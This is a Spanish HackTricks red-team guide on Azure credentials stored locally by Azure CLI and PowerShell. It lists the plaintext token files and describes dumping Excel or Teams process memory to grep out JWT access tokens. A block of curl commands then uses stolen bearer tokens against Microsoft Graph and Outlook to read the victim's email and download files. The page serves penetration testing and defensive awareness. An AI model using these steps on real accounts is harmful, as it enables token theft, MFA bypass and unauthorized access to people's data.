Az - Credenciales de Nube Local

Tip

Aprende y practica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

Almacenamiento Local de Tokens y Consideraciones de Seguridad

Azure CLI (Interfaz de Línea de Comandos)

Los tokens y datos sensibles se almacenan localmente por Azure CLI, lo que plantea preocupaciones de seguridad:

  1. Tokens de Acceso: Almacenados en texto plano dentro de accessTokens.json ubicado en C:\Users\<username>\.Azure.
  2. Información de Suscripción: azureProfile.json, en el mismo directorio, contiene detalles de la suscripción.
  3. Archivos de Registro: La carpeta ErrorRecords dentro de .azure podría contener registros con credenciales expuestas, tales como:
  • Comandos ejecutados con credenciales incrustadas.
  • URLs accedidas usando tokens, que podrían revelar información sensible.

Azure PowerShell

Azure PowerShell también almacena tokens y datos sensibles, que pueden ser accedidos localmente:

  1. Tokens de Acceso: TokenCache.dat, ubicado en C:\Users\<username>\.Azure, almacena tokens de acceso en texto plano.
  2. Secretos de Principales de Servicio: Estos se almacenan sin cifrar en AzureRmContext.json.
  3. Función de Guardado de Tokens: Los usuarios tienen la capacidad de persistir tokens usando el comando Save-AzContext, que debe usarse con precaución para prevenir accesos no autorizados.

Herramientas Automáticas para encontrarlos

Tokens en memoria

Como se explica en este video, algunos software de Microsoft sincronizados con la nube (Excel, Teams…) podrían almacenar tokens de acceso en texto claro en memoria. Así que simplemente volcando la memoria del proceso y filtrando por tokens JWT podría otorgarte acceso a varios recursos de la víctima en la nube eludiendo MFA.

Pasos:

  1. Volcar los procesos de excel sincronizados con el usuario de EntraID con tu herramienta favorita.
  2. Ejecutar: string excel.dmp | grep 'eyJ0' y encontrar varios tokens en la salida.
  3. Encontrar los tokens que más te interesen y ejecutar herramientas sobre ellos:
# Check the identity of the token
curl -s -H "Authorization: Bearer <token>" https://graph.microsoft.com/v1.0/me | jq

# Check the email (you need a token authorized in login.microsoftonline.com)
curl -s -H "Authorization: Bearer <token>" https://outlook.office.com/api/v2.0/me/messages | jq

# Download a file from Teams
## You need a token that can access graph.microsoft.com
## Then, find the <site_id> inside the memory and call
curl -s -H "Authorization: Bearer <token>" https://graph.microsoft.com/v1.0/sites/<site_id>/drives | jq

## Then, list one drive
curl -s -H "Authorization: Bearer <token>" 'https://graph.microsoft.com/v1.0/sites/<site_id>/drives/<drive_id>' | jq

## Finally, download a file from that drive:
curl -o <filename_output> -L -H "Authorization: Bearer <token>" '<@microsoft.graph.downloadUrl>'

Tenga en cuenta que este tipo de tokens de acceso también se pueden encontrar dentro de otros procesos.

Tip

Aprende y practica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks